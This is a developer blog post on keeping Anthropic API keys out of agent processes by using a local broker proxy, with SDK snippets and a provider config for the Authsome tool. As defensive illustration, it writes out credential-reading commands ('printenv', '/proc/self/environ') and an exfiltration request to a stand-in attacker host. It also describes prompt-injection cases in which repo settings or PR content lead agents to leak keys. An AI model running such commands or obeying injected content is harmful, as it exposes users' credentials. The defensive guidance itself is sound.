Anthropic API direct: keeping the key safe in your agent code

The Anthropic Python and TypeScript SDKs read ANTHROPIC_API_KEY from the process environment by default, which means every dependency and prompt-injected output can read it too. Here is the broker pattern that keeps sk-ant out of the process, for both SDKs.

May 31, 202613 min read

Anthropic API direct: keeping the key safe in your agent code.

You are writing an agent. Not Claude Code, not Cursor, not a wrapper. Your code imports anthropic (Python) or @anthropic-ai/sdk (TypeScript), calls messages.create, parses the result, maybe calls a tool, loops. The model talks to api.anthropic.com directly. Your sk-ant-... key lives in ANTHROPIC_API_KEY on your laptop, in .env, in CI, and probably in three GitHub Actions secrets you stopped tracking.

The 2026 Claude Code CVE wave made the env-var threat model concrete for a lot of developers. Those CVEs were Claude Code bugs, not SDK bugs. But the shape of the risk is the same the moment you spawn a Python or Node process with ANTHROPIC_API_KEY in scope: any code in that process, any dependency, any tool the agent invokes, and any prompt-injected tool output that ends up running shell can read the key.

This post is the per-framework how-to. We will walk the actual SDK behavior, the recent CVEs that prove the threat is not theoretical, and a placeholder plus broker pattern that breaks the chain in exactly one place. Both Python and TypeScript snippets. Real revocation link. A custom Authsome provider JSON at the end, because Anthropic is not a bundled provider and the honest framing is "you describe Anthropic to the broker once."

What the Anthropic SDK actually does with your key

The official Python SDK is annotated in the docs as follows. From the Anthropic Python SDK documentation:

python
import anthropic

client = anthropic.Anthropic(
    # defaults to os.environ.get("ANTHROPIC_API_KEY")
    api_key="my_api_key",
)

That comment is load-bearing. If you call Anthropic() with no arguments, the constructor resolves api_key from os.environ["ANTHROPIC_API_KEY"], stores it on the client object, and sends it as x-api-key: sk-ant-... on every request. The source lives in anthropic-sdk-python on GitHub.

The same constructor also reads:

  • ANTHROPIC_AUTH_TOKEN (sent as Authorization: Bearer ... instead of x-api-key)
  • ANTHROPIC_BASE_URL (endpoint override, default https://api.anthropic.com)

There is no redaction layer. There is no secrets store. There is no in-memory encryption. The SDK is a normal HTTP client that takes a string from os.environ, holds it as a plain attribute, and puts it in a header.

The TypeScript SDK at @anthropic-ai/sdk on npm behaves the same way:

ts
import Anthropic from "@anthropic-ai/sdk";

const client = new Anthropic({
  apiKey: process.env["ANTHROPIC_API_KEY"], // This is the default and can be omitted
});

Again, the comment is the contract. new Anthropic() with no arguments resolves apiKey from process.env.ANTHROPIC_API_KEY.

The takeaway is plain. The default path is "key sits in os.environ for the lifetime of the process." Everything else in this post is about why that default is risky and what to do instead.

Why the env-var default is the actual problem

Anything that runs inside the same process can read os.environ. That is not a CVE. That is Unix. The CVEs of the last twelve months are useful because they show, concretely, how often "anything that runs inside the same process" includes things you did not write.

CVE-2025-59536. A malicious repo could ship a .claude/settings.json that overrode ANTHROPIC_BASE_URL. Claude Code would happily send the user's sk-ant-... to the attacker's server before the trust dialog appeared. Anthropic shipped a patch. The lesson for direct-SDK users is simple. ANTHROPIC_BASE_URL is read from the environment by your SDK too. Any process value (or a hijacked proxy, or a DNS shim) silently re-points the request, and the key travels with it.

Reports of OS command-injection issues in Claude Code CLI and the Claude Agent SDK have circulated in 2026. The shape of the risk is consistent. If any code path in your agent reaches subprocess.run, os.system, child_process.exec, or a shell tool, printenv | grep ANTHROPIC is a one-liner. Always check the official Anthropic security advisories for the current patched version.

Prompt-injection bug-bounty disclosures in 2026 have shown that malicious pull-request titles or document content can cause agents to execute embedded commands and write a leaked GitHub token plus ANTHROPIC_API_KEY straight into a PR comment. The threat model. Prompt-injected output of an LLM call can exfiltrate env vars whenever the agent has a "post comment" or "write file" tool. Which is most agents.

The OWASP Top 10 for LLM Applications still has prompt injection at #1. The exfiltration conditions are plain. (a) private data is accessible to the model (API keys in env count), (b) untrusted tokens enter the context (any tool output, any web fetch, any document), (c) an exfiltration vector exists (any tool that can hit the network). A direct-Anthropic-SDK agent that does HTTP calls satisfies all three by default.

If you want a longer treatment of how prompt injection turns into credential theft, the post on how prompt injection becomes credential exfiltration walks the chain end to end.

The pattern: placeholder in the env, real key at the proxy boundary

The defense that survives a malicious dependency, a shell injection, or a prompt-injected subprocess.run("printenv") is the same. Do not put sk-ant-... in os.environ at all.

Concretely:

  1. Put a placeholder string in ANTHROPIC_API_KEY (or pass it explicitly to the constructor).
  2. Point ANTHROPIC_BASE_URL at a process you trust on 127.0.0.1.
  3. That process holds the real key in a vault, swaps in the x-api-key header on the outbound leg to api.anthropic.com, and proxies the response back.

The agent's process never reads, holds, logs, or sees the real key. A shell injection in the agent gets you printenv output that says ANTHROPIC_API_KEY=authsome-proxy-managed. A prompt-injected requests.get("https://attacker/?key=...") exfiltrates the placeholder.

You can build this yourself with mitmproxy, a tiny Flask app, or a Go binary. You can also use Authsome, which is an MIT-licensed, local-first credential broker that does exactly this. Because Anthropic is not a bundled provider, you describe it once in a JSON file and you are done. We will get to that config below.

Python: the four code paths you actually need

1. The unsafe baseline (so you can recognize it in your own code)

python
import os
from anthropic import Anthropic

# Reads ANTHROPIC_API_KEY from os.environ automatically.
client = Anthropic()

msg = client.messages.create(
    model="claude-opus-4-8",
    max_tokens=1024,
    messages=[{"role": "user", "content": "Hello, Claude"}],
)

If you are running this, printenv ANTHROPIC_API_KEY from anywhere inside the process leaks the real key. So does cat /proc/self/environ on Linux. So does any dependency that calls os.environ.

2. Explicit api_key= (broker injects at call time)

python
from anthropic import Anthropic

def load_key() -> str:
    # Pulled from a vault at call time. Never written to os.environ.
    ...

client = Anthropic(api_key=load_key())

This is better than env-var, but only marginally. The string still ends up on the client object. Anything in the process that grabs the client (or walks gc.get_objects()) gets it. Useful as a stepping stone if you cannot run a local proxy, not a real defense.

3. Route through a local broker on 127.0.0.1

python
from anthropic import Anthropic

client = Anthropic(
    api_key="authsome-proxy-managed",        # placeholder, never the real value
    base_url="http://127.0.0.1:8787/anthropic",
    default_headers={"X-Broker-Account": "work"},  # for multi-account routing
)

msg = client.messages.create(
    model="claude-opus-4-8",
    max_tokens=1024,
    messages=[{"role": "user", "content": "Hello, Claude"}],
)

Or, since the SDK reads both vars from the env, do it without changing your code at all:

bash
export ANTHROPIC_API_KEY=authsome-proxy-managed
export ANTHROPIC_BASE_URL=http://127.0.0.1:8787/anthropic
python my_agent.py

The broker on 127.0.0.1:8787 is responsible for taking the inbound request, looking up the real sk-ant-... in its encrypted vault, stripping the placeholder x-api-key, attaching the real one, and proxying to https://api.anthropic.com. The response goes back unchanged. Your messages.create call sees a normal stream.

4. Per-request override with extra_headers

The Anthropic SDKs expose extra_headers as a per-request escape hatch. It is the right place to pass an account selector or trace ID:

python
msg = client.messages.create(
    model="claude-opus-4-8",
    max_tokens=1024,
    messages=[{"role": "user", "content": "Hello, Claude"}],
    extra_headers={"X-Broker-Account": "personal"},
)

Treat that header surface as trusted-input-only. Do not splat raw user input into header values.

TypeScript: the same four paths

1. Unsafe baseline

ts
import Anthropic from "@anthropic-ai/sdk";

const client = new Anthropic(); // reads process.env.ANTHROPIC_API_KEY

const msg = await client.messages.create({
  model: "claude-opus-4-8",
  max_tokens: 1024,
  messages: [{ role: "user", content: "Hello, Claude" }],
});

2. Explicit apiKey

ts
import Anthropic from "@anthropic-ai/sdk";

async function loadKey(): Promise<string> {
  // Pull from a vault at call time. Never write to process.env.
  return "...";
}

const client = new Anthropic({ apiKey: await loadKey() });

3. Route through 127.0.0.1

ts
import Anthropic from "@anthropic-ai/sdk";

const client = new Anthropic({
  apiKey: "authsome-proxy-managed",
  baseURL: "http://127.0.0.1:8787/anthropic",
  defaultHeaders: { "X-Broker-Account": "work" },
});

Or env-only:

bash
export ANTHROPIC_API_KEY=authsome-proxy-managed
export ANTHROPIC_BASE_URL=http://127.0.0.1:8787/anthropic
node agent.js

4. Per-request override

ts
const msg = await client.messages.create(
  {
    model: "claude-opus-4-8",
    max_tokens: 1024,
    messages: [{ role: "user", content: "Hello, Claude" }],
  },
  { headers: { "X-Broker-Account": "personal" } },
);

Multi-account: work vs personal Anthropic

A lot of developers have two Anthropic accounts. A personal one with a small monthly budget, and a workspace tied to a company billing profile with workspace-scoped keys. Mixing them with a single ANTHROPIC_API_KEY is how you accidentally burn the company's quota on a weekend experiment, or worse, push a personal key into a corp repo.

There are three reasonable approaches.

Two separate shells with two separate env vars. Works, fragile. One cd into the wrong directory and you ship the wrong key.

A direnv (.envrc) per project. Better. Each project gets its own .envrc that loads the right key. Still leaves the key in os.environ for any process inside that directory.

A broker that holds both connections and routes by a header or by a profile flag at launch. This is where the broker pattern earns its keep, because the agent code does not have to know which account it is on. The broker decides based on a request header (X-Broker-Account: work) or on which profile was active when you launched the agent.

If you go the Authsome route, the relevant primitives are --connection (per-account credentials under one provider) and profile create / profile use (a named set of provider defaults). For example:

bash
authsome login anthropic --connection work
authsome login anthropic --connection personal
authsome set-default anthropic work

We have a dedicated post on managing multiple GitHub accounts for AI agents that covers the same pattern with GitHub. The Anthropic case is structurally identical.

Custom provider JSON for Anthropic

Anthropic is not in the Authsome bundled-provider list (the bundle is heavy on GitHub, Google, Slack, Notion, OpenAI, Resend, and the like). The supported escape hatch is a custom provider JSON file at ~/.authsome/providers/anthropic.json, or registration via authsome register. This is the same mechanism used for Stripe or any other not-yet-bundled service.

A working API-key custom provider for Anthropic looks like this:

json
{
  "name": "anthropic",
  "display_name": "Anthropic",
  "auth_type": "api_key",
  "target": {
    "host": "api.anthropic.com",
    "scheme": "https"
  },
  "credential": {
    "header": "x-api-key",
    "prefix": "",
    "env_var": "ANTHROPIC_API_KEY",
    "prompt": "Paste your Anthropic API key (sk-ant-...). Create or rotate at https://console.anthropic.com/settings/keys"
  },
  "placeholder": "authsome-proxy-managed"
}

Save that file, then:

bash
authsome login anthropic
# Paste your sk-ant-... key once. It lands in the encrypted SQLite vault under ~/.authsome/.

To launch your agent under the broker:

bash
authsome run -- python my_agent.py
# or
authsome run -- node agent.js

Inside the spawned process, ANTHROPIC_API_KEY=authsome-proxy-managed and ANTHROPIC_BASE_URL points at the local proxy. The SDK picks both up. The real key never enters the agent's environment.

You can verify by printenv ANTHROPIC_API_KEY from inside the process, or by adding a subprocess.run(["env"], capture_output=True) step in the agent and printing the result. You will see the placeholder, not sk-ant-.... That is the property that survives a prompt-injected printenv.

For more on the library-mode escape hatch (from authsome.context import AuthsomeContext) if you want in-process credential reads without a proxy, the safe API access for LangChain and LlamaIndex agents post walks the read pattern.

What the broker does NOT solve

Being honest about this matters, because brokers get oversold.

A broker does not stop a compromised agent from spending your quota. Anything inside the agent process can still send messages through 127.0.0.1:8787 and have them go out as you. Mitigation. Workspace-scoped keys and per-key spend limits in the Anthropic console, plus the Admin API for programmatic rotation.

A broker does not patch Claude Code CVEs. Those are Claude Code and Claude Agent SDK bugs. Updating those tools is the fix. The broker only matters for the env-var threat shape. It does not retroactively unship a vulnerable CLI version.

A broker is not a substitute for revocation. Revocation at console.anthropic.com/settings/keys is instant. If you suspect a leak, revoke first, investigate second. Rotate on a cadence (90 days is a reasonable default) regardless.

A broker does not give you per-agent policy out of the box. A global allow/deny proxy mode per run exists in Authsome today, but per-agent access-control (this agent may use Anthropic, this one may not) is not shipped. If you need that, you are looking at a custom mitmproxy script or a different architecture.

A short checklist before you ship

CheckWhy it matters
Anthropic() constructor. No env-var, or placeholder onlyRemoves the key from os.environ for the agent process
ANTHROPIC_BASE_URL set to a trusted local proxy, not unsetAn attacker who can write your env can re-point the SDK
extra_headers used only with trusted inputPer the Anthropic SDK guidance
No shell tool that runs unsanitized model outputPrompt-injected command execution is the dominant exfiltration vector
Workspace-scoped keys with per-key spend limitsA compromised agent can still spend. Cap the blast radius
Revocation link bookmarkedconsole.anthropic.com/settings/keys
90-day rotation cadence on a calendarThe Admin API makes this scriptable

If you want the broader framing on why env-var is structurally the wrong place for an agent's keys, stop putting API keys in environment variables makes that argument from first principles, and secrets managers vs credential brokers for AI agents compares the broker model to AWS Secrets Manager, Vault, Doppler, and 1Password CLI for the agent use case specifically.

Wrap

The Anthropic SDK is a clean, well-documented HTTP client. The ANTHROPIC_API_KEY env-var default is convenient for a one-off script and dangerous the moment your agent grows a tool layer, calls dependencies you did not audit, or processes untrusted content. The CVE wave of the last twelve months is not noise. It is the threat model arriving on the front page of a research blog, with a CVSS attached.

The defense is small. Move the key out of the agent's process. Hold it in something that can swap it onto the request at the proxy boundary. Use placeholders in your env and in your code. Bookmark the revocation page. Rotate on a cadence.

The whole pattern is maybe ten lines of agent code plus one JSON file. Worth the afternoon.

Priyansh Khodiyar

Priyansh Khodiyar

Maintainer

Works on authsome and the agentr.dev tooling.